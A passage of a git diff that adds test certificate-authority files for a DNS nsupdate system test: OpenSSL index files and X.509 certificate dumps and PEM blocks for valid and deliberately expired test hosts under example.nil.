+                    cc:2c:af:17:b6:db:cc:36:02:fe:fb:66:15:77:84:
+                    70:cd:42:25:b7:16:64:28:ae:9d:8c:81:85:a0:e0:
+                    50:82:aa:e8:e9:ac:51:fc:2b:63:44:b1:08:b8:90:
+                    d7:8c:1c:23:b2:1b:08:59:85:d5:dd:39:44:f7:47:
+                    5e:48:08:34:eb:2c:df:75:47:08:b6:b6:e6:32:ed:
+                    76:74:77:ce:3d:4d:fe:02:b1:33
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.crt02-expired.example.nil, IP Address:10.53.0.1
+    Signature Algorithm: sha256WithRSAEncryption
+         2a:52:c4:cb:a9:2f:f7:2b:ed:04:b5:03:d5:06:59:ed:5c:7c:
+         b7:00:9e:c4:33:90:fe:d0:b0:18:f3:f2:06:30:54:18:fe:34:
+         cb:ea:61:4f:9c:23:67:3c:ae:ed:20:df:82:52:ec:59:88:45:
+         ad:3c:6c:a7:34:24:1c:4d:66:ab:71:3d:59:8c:ef:cd:a0:e2:
+         7b:59:2d:43:94:cd:f5:0a:3c:4e:81:24:e8:fd:c6:d0:fd:ad:
+         6f:cc:29:5b:67:0b:b7:ee:43:38:a4:91:c2:d9:3b:f8:d6:97:
+         bc:92:dd:ec:a1:ab:85:35:44:f4:0a:df:ad:8d:8c:52:c3:49:
+         7e:39:10:a1:13:43:78:71:e2:92:aa:31:3d:d9:94:15:7f:86:
+         c8:aa:b4:a1:6d:bf:eb:55:b1:d7:41:6f:c3:7d:88:5e:9c:b7:
+         b1:4b:0d:a7:17:4f:3e:4a:46:3f:6f:48:27:8c:d0:e5:51:fc:
+         42:ba:c5:b9:4f:63:6f:2e:f2:fd:0c:c0:6e:23:b4:59:93:68:
+         a4:2d:16:ce:f4:7b:3a:45:1d:a0:6e:98:0b:f7:6a:e6:75:0c:
+         db:56:19:6b:88:f0:7f:6b:08:f8:fc:bb:d1:3f:25:25:1a:6c:
+         8e:34:cb:91:18:54:d5:2d:ce:9c:d0:b7:c3:bc:b5:0a:e0:b9:
+         73:6f:4d:ad:6b:3c:b6:49:ef:c0:10:13:c7:0a:78:4d:98:7d:
+         cb:84:a1:29:40:8c:dd:31:7d:ae:c4:f5:25:5d:b9:74:b2:f5:
+         e2:2b:e0:43:c8:50:61:a3:a8:26:1a:03:ab:1a:24:3b:13:56:
+         da:0d:ee:ff:2f:bd:d5:77:82:72:63:b8:aa:e1:18:f7:3b:c1:
+         a1:f8:51:b1:70:b9:25:39:df:a3:41:79:d7:2b:ec:32:f6:cb:
+         30:28:d2:1e:f1:b4:e1:80:03:9f:c2:0f:36:85:82:5e:39:ba:
+         9e:eb:67:76:42:93:bf:e0:df:64:b2:b5:5f:98:a1:45:3f:4a:
+         1f:5c:c5:04:10:f6
+-----BEGIN CERTIFICATE-----
+MIIEXTCCAsWgAwIBAgIIcLn06y+hlZkwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMB4XDTIyMDkwNjIwMzQwOVoXDTIyMDkwNzIw
+MzQwOVowKjEoMCYGA1UEAwwfc3J2MDEuY3J0MDItZXhwaXJlZC5leGFtcGxlLm5p
+bDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAOwsiAG1izp0Vg1Xs3X9
+BVgF7Yqr6CkO8VI0LiJibkF0/3gztP8Vc/rOkBCk/tJmFHsLeXvWIIj5QTEUmkk2
+jDh0S/PiUeflb71lOOacMIA/JFb2aJ4JdoFbWYFEVp8cP0jwlb9gQCnfrEI9w2+F
+LcMOCLb3EipRAL/P/myu133ewXL4MgNfyT9K3uX6JJBG8EpfCdiTTL8cYUzS3Nts
++K9zW7c7euhtHLsmI0eH/VAGD/G1iIqoJWlX40Y70mtS+1oB9pbpKs8T5xZM/Vr2
+HwuN9yWjaNcV/FxISQXihSRwV7HYBSSuJjoAm3KoRwXF83wt8lhyN/vBi09Cj92a
+rFuubyFirSmBuYtLbP9hmQ98CdNtACAtsQwAbJlMktwOES3nunvHyLGjGmH4zCyv
+F7bbzDYC/vtmFXeEcM1CJbcWZCiunYyBhaDgUIKq6OmsUfwrY0SxCLiQ14wcI7Ib
+CFmF1d05RPdHXkgINOss33VHCLa25jLtdnR3zj1N/gKxMwIDAQABozQwMjAwBgNV
+HREEKTAngh9zcnYwMS5jcnQwMi1leHBpcmVkLmV4YW1wbGUubmlshwQKNQABMA0G
+CSqGSIb3DQEBCwUAA4IBgQAqUsTLqS/3K+0EtQPVBlntXHy3AJ7EM5D+0LAY8/IG
+MFQY/jTL6mFPnCNnPK7tIN+CUuxZiEWtPGynNCQcTWarcT1ZjO/NoOJ7WS1DlM31
+CjxOgSTo/cbQ/a1vzClbZwu37kM4pJHC2Tv41pe8kt3soauFNUT0Ct+tjYxSw0l+
+ORChE0N4ceKSqjE92ZQVf4bIqrShbb/rVbHXQW/DfYhenLexSw2nF08+SkY/b0gn
+jNDlUfxCusW5T2NvLvL9DMBuI7RZk2ikLRbO9Hs6RR2gbpgL92rmdQzbVhlriPB/
+awj4/LvRPyUlGmyONMuRGFTVLc6c0LfDvLUK4Llzb02tazy2Se/AEBPHCnhNmH3L
+hKEpQIzdMX2uxPUlXbl0svXiK+BDyFBho6gmGgOrGiQ7E1baDe7/L73Vd4JyY7iq
+4Rj3O8Gh+FGxcLklOd+jQXnXK+wy9sswKNIe8bThgAOfwg82hYJeObqe62d2QpO/
+4N9ksrVfmKFFP0ofXMUEEPY=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/index.txt b/bin/tests/system/nsupdate/CA/index.txt
new file mode 100644
index 0000000000..020155fb37
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/index.txt
@@ -0,0 +1,4 @@
+V	20520830202803Z		70B9F4EB2FA19598	unknown	/CN=srv01.crt01.example.nil
+V	220907203409Z		70B9F4EB2FA19599	unknown	/CN=srv01.crt02-expired.example.nil
+V	20520831082017Z		70B9F4EB2FA1959A	unknown	/CN=srv01.client01.example.nil
+V	220908081418Z		70B9F4EB2FA1959B	unknown	/CN=srv01.client02-expired.example.nil
diff --git a/bin/tests/system/nsupdate/CA/index.txt.attr b/bin/tests/system/nsupdate/CA/index.txt.attr
new file mode 100644
index 0000000000..8f7e63a347
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/index.txt.attr
@@ -0,0 +1 @@
+unique_subject = yes
diff --git a/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA19598.pem b/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA19598.pem
new file mode 100644
index 0000000000..e08666bac3
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA19598.pem
@@ -0,0 +1,93 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 8122792693893010840 (0x70b9f4eb2fa19598)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Sep  7 20:28:03 2022 GMT
+            Not After : Aug 30 20:28:03 2052 GMT
+        Subject: CN=srv01.crt01.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                RSA Public-Key: (3072 bit)
+                Modulus:
+                    00:b4:9a:63:98:04:ad:bd:ab:29:bf:22:70:54:30:
+                    df:c7:6b:77:5d:b8:5e:0b:cd:0e:a0:6c:74:37:e7:
+                    4b:78:d1:96:da:ca:99:7d:92:b1:e4:1a:0a:1e:b4:
+                    1c:be:ee:cc:95:8c:52:03:93:85:e1:40:43:68:86:
+                    86:bc:6a:62:6d:d6:0a:ca:ee:4f:93:2d:ee:6b:df:
+                    7a:f6:dc:fa:44:a6:39:80:2c:38:7c:89:cd:d9:a3:
+                    99:ec:e8:2b:48:6d:84:41:3d:0e:1a:1f:68:5e:17:
+                    88:8f:a5:da:4d:1c:36:26:ae:b4:7e:d2:fe:a2:59:
+                    d5:67:3a:56:c2:21:65:0d:dd:97:6f:f0:e5:b4:1e:
+                    87:ae:97:35:0d:f4:9b:ae:dc:8a:3e:28:aa:b8:a2:
+                    ab:ee:9d:b2:c5:91:f6:71:99:a5:86:cb:31:9c:05:
+                    d6:9b:94:13:46:a9:9a:c9:a5:55:5f:6c:cc:d0:84:
+                    27:e2:b1:b5:73:39:08:7f:80:2f:04:26:96:0c:8d:
+                    29:9b:be:5e:cc:39:af:a2:db:82:82:57:07:e6:b2:
+                    4a:d9:3d:c8:79:6e:67:61:f3:48:37:a8:4f:9f:b3:
+                    cf:84:b6:50:08:3d:e9:85:e9:a9:76:50:80:e7:2c:
+                    6f:65:95:cb:e2:23:41:58:39:70:e7:78:29:3d:c2:
+                    d6:20:7c:2b:87:30:bd:98:87:63:ed:4a:ad:b9:ed:
+                    7a:4b:13:a1:3d:62:5e:b6:74:64:ef:25:a3:dd:93:
+                    47:aa:d3:25:7e:2a:d7:09:1b:5c:59:50:f1:d4:c6:
+                    9c:f2:64:8a:7c:cb:cc:52:37:50:88:4b:84:35:40:
+                    51:0e:a1:06:a2:60:b6:b0:e3:8f:f9:d8:8e:45:77:
+                    7d:0e:7d:11:92:22:15:0f:a3:37:84:c4:25:dc:14:
+                    b4:20:7a:b7:16:96:72:d4:bf:4d:5d:d2:ab:71:43:
+                    44:be:87:44:d2:b8:74:f7:86:3f:d2:5d:dd:5e:e6:
+                    74:ab:fb:cc:a3:5d:a6:84:80:0b
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.crt01.example.nil, IP Address:10.53.0.1
+    Signature Algorithm: sha256WithRSAEncryption
+         94:15:c0:4a:f1:aa:15:30:f7:cb:fe:f9:fa:ba:5f:f0:18:1f:
+         7e:44:9a:b1:d4:9c:f9:78:d3:a7:c7:65:f2:d1:48:62:f4:cb:
+         2f:20:ea:7c:af:08:cf:db:e2:0f:ab:c0:22:38:16:c5:0c:e5:
+         c7:6e:34:b1:ed:f6:02:1a:69:c0:09:d1:43:b3:30:77:fc:00:
+         07:1b:da:88:97:5b:28:4e:e6:92:ca:00:cc:86:66:a9:a9:0a:
+         75:be:74:88:7d:09:52:e7:a9:82:8f:a9:62:5e:b3:19:64:14:
+         e5:54:9e:6d:9c:98:39:8b:1f:92:92:59:f9:a2:46:75:96:11:
+         71:8a:c8:71:05:10:2a:b8:f3:a4:19:db:eb:05:17:0a:dd:98:
+         2c:58:54:3a:7f:8c:c2:26:9e:62:ca:04:dd:3c:99:1f:a0:64:
+         69:fb:d6:04:c1:0b:8c:62:f6:2d:ea:bc:6c:a9:39:7b:f1:20:
+         b8:b7:04:3c:a7:65:fa:1f:db:22:e2:5b:8b:91:75:60:be:e1:
+         1e:50:13:23:d5:4b:93:87:20:ec:46:6f:5f:94:dc:b1:60:d1:
+         79:4b:5e:76:c9:6d:0d:be:a6:9a:6b:67:8b:a7:48:7e:51:b5:
+         9b:9d:ec:a6:0c:c1:b3:d9:0b:26:8b:f2:7c:cf:61:d0:a2:a0:
+         90:90:18:6b:b4:ca:56:b8:5e:5a:8b:78:71:c4:d1:fc:15:30:
+         0a:03:26:74:85:3d:6c:ed:d3:e1:c9:c1:b0:d4:0c:b9:f3:04:
+         93:0d:e3:a6:2c:a7:ee:e0:24:0d:dd:37:fc:6b:09:d5:b5:55:
+         33:12:82:cf:f2:ba:0f:b0:e2:ce:f7:c0:ac:2c:7f:ab:f9:dd:
+         87:b1:9b:95:f2:d7:32:98:dd:4c:b3:28:b7:0d:2b:2f:62:65:
+         ce:59:fb:95:d4:5f:9d:fd:83:5a:01:3b:5f:48:5f:3c:fa:4b:
+         52:91:66:e1:49:8e:cd:09:78:f5:ce:f8:cd:5c:85:3e:ad:bd:
+         1c:4e:e0:3f:0a:8b
+-----BEGIN CERTIFICATE-----
+MIIETzCCAregAwIBAgIIcLn06y+hlZgwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDkwNzIwMjgwM1oYDzIwNTIwODMw
+MjAyODAzWjAiMSAwHgYDVQQDDBdzcnYwMS5jcnQwMS5leGFtcGxlLm5pbDCCAaIw
+DQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBALSaY5gErb2rKb8icFQw38drd124
+XgvNDqBsdDfnS3jRltrKmX2SseQaCh60HL7uzJWMUgOTheFAQ2iGhrxqYm3WCsru
+T5Mt7mvfevbc+kSmOYAsOHyJzdmjmezoK0hthEE9DhofaF4XiI+l2k0cNiautH7S
+/qJZ1Wc6VsIhZQ3dl2/w5bQeh66XNQ30m67cij4oqriiq+6dssWR9nGZpYbLMZwF
+1puUE0apmsmlVV9szNCEJ+KxtXM5CH+ALwQmlgyNKZu+Xsw5r6LbgoJXB+ayStk9
+yHluZ2HzSDeoT5+zz4S2UAg96YXpqXZQgOcsb2WVy+IjQVg5cOd4KT3C1iB8K4cw
+vZiHY+1KrbnteksToT1iXrZ0ZO8lo92TR6rTJX4q1wkbXFlQ8dTGnPJkinzLzFI3
+UIhLhDVAUQ6hBqJgtrDjj/nYjkV3fQ59EZIiFQ+jN4TEJdwUtCB6txaWctS/TV3S
+q3FDRL6HRNK4dPeGP9Jd3V7mdKv7zKNdpoSACwIDAQABoywwKjAoBgNVHREEITAf
+ghdzcnYwMS5jcnQwMS5leGFtcGxlLm5pbIcECjUAATANBgkqhkiG9w0BAQsFAAOC
+AYEAlBXASvGqFTD3y/75+rpf8BgffkSasdSc+XjTp8dl8tFIYvTLLyDqfK8Iz9vi
+D6vAIjgWxQzlx240se32AhppwAnRQ7Mwd/wABxvaiJdbKE7mksoAzIZmqakKdb50
+iH0JUuepgo+pYl6zGWQU5VSebZyYOYsfkpJZ+aJGdZYRcYrIcQUQKrjzpBnb6wUX
+Ct2YLFhUOn+MwiaeYsoE3TyZH6BkafvWBMELjGL2Leq8bKk5e/EguLcEPKdl+h/b
+IuJbi5F1YL7hHlATI9VLk4cg7EZvX5TcsWDReUtedsltDb6mmmtni6dIflG1m53s
+pgzBs9kLJovyfM9h0KKgkJAYa7TKVrheWot4ccTR/BUwCgMmdIU9bO3T4cnBsNQM
+ufMEkw3jpiyn7uAkDd03/GsJ1bVVMxKCz/K6D7DizvfArCx/q/ndh7GblfLXMpjd
+TLMotw0rL2Jlzln7ldRfnf2DWgE7X0hfPPpLUpFm4UmOzQl49c74zVyFPq29HE7g
+PwqL
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA19599.pem b/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA19599.pem
new file mode 100644
index 0000000000..9a407f673b
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA19599.pem
@@ -0,0 +1,93 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 8122792693893010841 (0x70b9f4eb2fa19599)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Sep  6 20:34:09 2022 GMT
+            Not After : Sep  7 20:34:09 2022 GMT
+        Subject: CN=srv01.crt02-expired.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                RSA Public-Key: (3072 bit)
+                Modulus:
+                    00:ec:2c:88:01:b5:8b:3a:74:56:0d:57:b3:75:fd:
+                    05:58:05:ed:8a:ab:e8:29:0e:f1:52:34:2e:22:62:
+                    6e:41:74:ff:78:33:b4:ff:15:73:fa:ce:90:10:a4:
+                    fe:d2:66:14:7b:0b:79:7b:d6:20:88:f9:41:31:14:
+                    9a:49:36:8c:38:74:4b:f3:e2:51:e7:e5:6f:bd:65:
+                    38:e6:9c:30:80:3f:24:56:f6:68:9e:09:76:81:5b:
+                    59:81:44:56:9f:1c:3f:48:f0:95:bf:60:40:29:df:
+                    ac:42:3d:c3:6f:85:2d:c3:0e:08:b6:f7:12:2a:51:
+                    00:bf:cf:fe:6c:ae:d7:7d:de:c1:72:f8:32:03:5f:
+                    c9:3f:4a:de:e5:fa:24:90:46:f0:4a:5f:09:d8:93:
+                    4c:bf:1c:61:4c:d2:dc:db:6c:f8:af:73:5b:b7:3b:
+                    7a:e8:6d:1c:bb:26:23:47:87:fd:50:06:0f:f1:b5:
+                    88:8a:a8:25:69:57:e3:46:3b:d2:6b:52:fb:5a:01:
+                    f6:96:e9:2a:cf:13:e7:16:4c:fd:5a:f6:1f:0b:8d:
+                    f7:25:a3:68:d7:15:fc:5c:48:49:05:e2:85:24:70:
+                    57:b1:d8:05:24:ae:26:3a:00:9b:72:a8:47:05:c5:
+                    f3:7c:2d:f2:58:72:37:fb:c1:8b:4f:42:8f:dd:9a:
+                    ac:5b:ae:6f:21:62:ad:29:81:b9:8b:4b:6c:ff:61:
+                    99:0f:7c:09:d3:6d:00:20:2d:b1:0c:00:6c:99:4c:
+                    92:dc:0e:11:2d:e7:ba:7b:c7:c8:b1:a3:1a:61:f8:
+                    cc:2c:af:17:b6:db:cc:36:02:fe:fb:66:15:77:84:
+                    70:cd:42:25:b7:16:64:28:ae:9d:8c:81:85:a0:e0:
+                    50:82:aa:e8:e9:ac:51:fc:2b:63:44:b1:08:b8:90:
+                    d7:8c:1c:23:b2:1b:08:59:85:d5:dd:39:44:f7:47:
+                    5e:48:08:34:eb:2c:df:75:47:08:b6:b6:e6:32:ed:
+                    76:74:77:ce:3d:4d:fe:02:b1:33
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.crt02-expired.example.nil, IP Address:10.53.0.1
+    Signature Algorithm: sha256WithRSAEncryption
+         2a:52:c4:cb:a9:2f:f7:2b:ed:04:b5:03:d5:06:59:ed:5c:7c:
+         b7:00:9e:c4:33:90:fe:d0:b0:18:f3:f2:06:30:54:18:fe:34:
+         cb:ea:61:4f:9c:23:67:3c:ae:ed:20:df:82:52:ec:59:88:45:
+         ad:3c:6c:a7:34:24:1c:4d:66:ab:71:3d:59:8c:ef:cd:a0:e2:
+         7b:59:2d:43:94:cd:f5:0a:3c:4e:81:24:e8:fd:c6:d0:fd:ad:
+         6f:cc:29:5b:67:0b:b7:ee:43:38:a4:91:c2:d9:3b:f8:d6:97:
+         bc:92:dd:ec:a1:ab:85:35:44:f4:0a:df:ad:8d:8c:52:c3:49:
+         7e:39:10:a1:13:43:78:71:e2:92:aa:31:3d:d9:94:15:7f:86:
+         c8:aa:b4:a1:6d:bf:eb:55:b1:d7:41:6f:c3:7d:88:5e:9c:b7:
+         b1:4b:0d:a7:17:4f:3e:4a:46:3f:6f:48:27:8c:d0:e5:51:fc:
+         42:ba:c5:b9:4f:63:6f:2e:f2:fd:0c:c0:6e:23:b4:59:93:68:
+         a4:2d:16:ce:f4:7b:3a:45:1d:a0:6e:98:0b:f7:6a:e6:75:0c:
+         db:56:19:6b:88:f0:7f:6b:08:f8:fc:bb:d1:3f:25:25:1a:6c:
+         8e:34:cb:91:18:54:d5:2d:ce:9c:d0:b7:c3:bc:b5:0a:e0:b9:
+         73:6f:4d:ad:6b:3c:b6:49:ef:c0:10:13:c7:0a:78:4d:98:7d:
+         cb:84:a1:29:40:8c:dd:31:7d:ae:c4:f5:25:5d:b9:74:b2:f5:
+         e2:2b:e0:43:c8:50:61:a3:a8:26:1a:03:ab:1a:24:3b:13:56:
+         da:0d:ee:ff:2f:bd:d5:77:82:72:63:b8:aa:e1:18:f7:3b:c1:
+         a1:f8:51:b1:70:b9:25:39:df:a3:41:79:d7:2b:ec:32:f6:cb:
+         30:28:d2:1e:f1:b4:e1:80:03:9f:c2:0f:36:85:82:5e:39:ba:
+         9e:eb:67:76:42:93:bf:e0:df:64:b2:b5:5f:98:a1:45:3f:4a:
+         1f:5c:c5:04:10:f6
+-----BEGIN CERTIFICATE-----
+MIIEXTCCAsWgAwIBAgIIcLn06y+hlZkwDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMB4XDTIyMDkwNjIwMzQwOVoXDTIyMDkwNzIw
+MzQwOVowKjEoMCYGA1UEAwwfc3J2MDEuY3J0MDItZXhwaXJlZC5leGFtcGxlLm5p
+bDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAOwsiAG1izp0Vg1Xs3X9
+BVgF7Yqr6CkO8VI0LiJibkF0/3gztP8Vc/rOkBCk/tJmFHsLeXvWIIj5QTEUmkk2
+jDh0S/PiUeflb71lOOacMIA/JFb2aJ4JdoFbWYFEVp8cP0jwlb9gQCnfrEI9w2+F
+LcMOCLb3EipRAL/P/myu133ewXL4MgNfyT9K3uX6JJBG8EpfCdiTTL8cYUzS3Nts
++K9zW7c7euhtHLsmI0eH/VAGD/G1iIqoJWlX40Y70mtS+1oB9pbpKs8T5xZM/Vr2
+HwuN9yWjaNcV/FxISQXihSRwV7HYBSSuJjoAm3KoRwXF83wt8lhyN/vBi09Cj92a
+rFuubyFirSmBuYtLbP9hmQ98CdNtACAtsQwAbJlMktwOES3nunvHyLGjGmH4zCyv
+F7bbzDYC/vtmFXeEcM1CJbcWZCiunYyBhaDgUIKq6OmsUfwrY0SxCLiQ14wcI7Ib
+CFmF1d05RPdHXkgINOss33VHCLa25jLtdnR3zj1N/gKxMwIDAQABozQwMjAwBgNV
+HREEKTAngh9zcnYwMS5jcnQwMi1leHBpcmVkLmV4YW1wbGUubmlshwQKNQABMA0G
+CSqGSIb3DQEBCwUAA4IBgQAqUsTLqS/3K+0EtQPVBlntXHy3AJ7EM5D+0LAY8/IG
+MFQY/jTL6mFPnCNnPK7tIN+CUuxZiEWtPGynNCQcTWarcT1ZjO/NoOJ7WS1DlM31
+CjxOgSTo/cbQ/a1vzClbZwu37kM4pJHC2Tv41pe8kt3soauFNUT0Ct+tjYxSw0l+
+ORChE0N4ceKSqjE92ZQVf4bIqrShbb/rVbHXQW/DfYhenLexSw2nF08+SkY/b0gn
+jNDlUfxCusW5T2NvLvL9DMBuI7RZk2ikLRbO9Hs6RR2gbpgL92rmdQzbVhlriPB/
+awj4/LvRPyUlGmyONMuRGFTVLc6c0LfDvLUK4Llzb02tazy2Se/AEBPHCnhNmH3L
+hKEpQIzdMX2uxPUlXbl0svXiK+BDyFBho6gmGgOrGiQ7E1baDe7/L73Vd4JyY7iq
+4Rj3O8Gh+FGxcLklOd+jQXnXK+wy9sswKNIe8bThgAOfwg82hYJeObqe62d2QpO/
+4N9ksrVfmKFFP0ofXMUEEPY=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA1959A.pem b/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA1959A.pem
new file mode 100644
index 0000000000..f32b4c4f2c
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/newcerts/70B9F4EB2FA1959A.pem
@@ -0,0 +1,93 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 8122792693893010842 (0x70b9f4eb2fa1959a)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Sep  8 08:20:17 2022 GMT
+            Not After : Aug 31 08:20:17 2052 GMT
+        Subject: CN=srv01.client01.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                RSA Public-Key: (3072 bit)
+                Modulus:
+                    00:ab:60:2e:9c:61:e3:89:c6:52:2b:bc:e9:e1:05:
+                    fd:18:65:42:20:f6:56:16:40:33:d2:cb:9f:f7:ef:
+                    22:54:a7:c9:55:70:ca:52:f0:e2:a2:58:38:7f:10:
+                    ad:2b:05:e0:11:b6:69:21:7f:2d:38:56:dd:d5:e4:
+                    f3:de:a7:32:35:f7:33:2a:52:80:ae:b7:d6:7c:35:
+                    74:c3:0c:8a:c3:3a:18:61:68:73:62:58:56:ff:78:
+                    25:57:1c:7b:be:98:88:21:dd:1c:8a:13:a5:9a:52:
+                    48:98:d9:3d:c4:28:a6:7e:9b:11:56:7e:ce:09:bb:
+                    51:89:8a:a8:1b:00:b5:73:2b:41:93:b1:62:40:30:
+                    29:ea:f6:a3:e7:bc:f0:e9:9e:07:2b:ae:a9:a0:1d:
+                    4d:d9:f8:18:4d:83:47:4e:68:ee:57:c8:55:15:86:
+                    3c:6d:1e:f5:31:f1:de:cf:c2:7e:6b:8e:22:5a:c5:
+                    76:af:d0:01:de:ab:7a:03:b2:96:33:cc:a0:26:ae:
+                    de:c4:bd:76:85:96:c7:88:e4:46:bc:3f:c6:54:c9:
+                    95:83:87:9c:49:0d:31:dd:c4:17:52:99:e4:65:49:
+                    9b:9d:f3:ad:ce:66:08:57:f4:83:be:5e:87:da:42:
+                    5a:01:2a:6d:68:d1:8d:38:d9:18:ae:5e:2e:54:72:
+                    8b:01:45:96:af:f5:a3:d0:29:5d:22:8b:b4:d4:30:
+                    af:02:36:c5:2d:e9:29:eb:2c:ea:6a:7e:27:b3:70:
+                    fc:87:1f:2b:c4:b1:3a:a6:c2:e9:b7:c2:6f:46:63:
+                    b7:96:2e:53:d8:b7:cd:c3:f4:b5:6d:b2:fc:57:49:
+                    ac:9f:98:c9:fe:b4:f5:7c:93:48:2e:93:dc:e9:18:
+                    54:63:5f:18:a3:e7:12:aa:fe:38:f0:73:e5:17:1e:
+                    fe:40:65:81:a8:8f:60:46:c2:16:f2:a8:9d:b1:1b:
+                    bc:ce:05:de:37:b2:a8:86:47:bd:8d:92:de:e0:e5:
+                    42:89:b8:e3:f8:b1:24:08:7e:99
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client01.example.nil, IP Address:10.53.0.1
+    Signature Algorithm: sha256WithRSAEncryption
+         07:97:69:51:12:50:6a:e1:02:a0:b0:dc:93:75:16:c4:38:0f:
+         5c:b3:47:da:bf:fa:9c:b6:de:c0:ef:38:f7:cc:d9:8d:71:ba:
+         51:89:e5:48:36:dd:e1:f8:73:9d:92:80:1c:42:30:69:4f:8c:
+         19:5d:f7:1d:03:e4:f2:76:e0:58:7b:c2:76:c4:0a:7e:20:69:
+         26:6c:3e:cb:31:45:93:1d:07:5f:45:44:8e:5a:fb:87:17:7b:
+         4d:5c:bf:37:bd:5e:ba:5c:22:84:bf:26:21:4a:c4:e9:f9:cb:
+         73:de:fc:62:04:96:ad:aa:fd:89:09:5c:74:d6:bd:5f:07:17:
+         ef:9c:3d:ee:b7:dc:08:11:7f:12:66:ab:c4:ff:43:6d:7f:1e:
+         01:b6:d1:19:73:53:18:e4:02:b0:7c:9e:99:63:d8:57:dd:07:
+         79:fb:83:39:09:de:76:6e:68:b7:87:81:13:b8:26:e5:1c:c9:
+         a0:23:e5:97:39:ff:93:c7:8d:08:d8:ce:97:34:fc:ad:22:14:
+         89:c0:ae:83:7d:0a:3f:cf:a0:9b:b4:6a:5c:b3:6d:5d:3b:88:
+         ca:1e:9b:99:54:64:57:58:3c:4c:bd:26:ee:11:c3:13:0b:1d:
+         f5:fd:d9:37:b0:31:72:6f:1d:e8:ba:43:37:46:f7:71:fe:6d:
+         4a:30:33:29:c5:7b:37:8b:7e:06:22:89:a4:46:36:f0:fe:c6:
+         f5:f0:53:04:c0:35:52:78:6e:10:24:3a:d8:bf:7b:13:2f:98:
+         bc:69:31:41:68:02:5a:c4:f9:11:a2:6b:3f:c8:e0:d4:b3:80:
+         af:d2:be:fe:28:70:61:18:ed:8a:de:c4:cb:da:c9:60:94:91:
+         76:63:69:8c:6e:96:f5:ba:e7:be:1e:1c:c3:84:b1:8d:e8:31:
+         f7:66:8c:0d:da:a8:78:57:19:fd:a0:8d:fa:9a:7e:51:1c:d1:
+         d0:84:07:a2:45:40:2d:c4:6b:e9:9f:86:4a:08:20:8f:9c:79:
+         97:e3:7f:2a:14:73
+-----BEGIN CERTIFICATE-----
+MIIEVTCCAr2gAwIBAgIIcLn06y+hlZowDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDkwODA4MjAxN1oYDzIwNTIwODMx
+MDgyMDE3WjAlMSMwIQYDVQQDDBpzcnYwMS5jbGllbnQwMS5leGFtcGxlLm5pbDCC
+AaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAKtgLpxh44nGUiu86eEF/Rhl
+QiD2VhZAM9LLn/fvIlSnyVVwylLw4qJYOH8QrSsF4BG2aSF/LThW3dXk896nMjX3
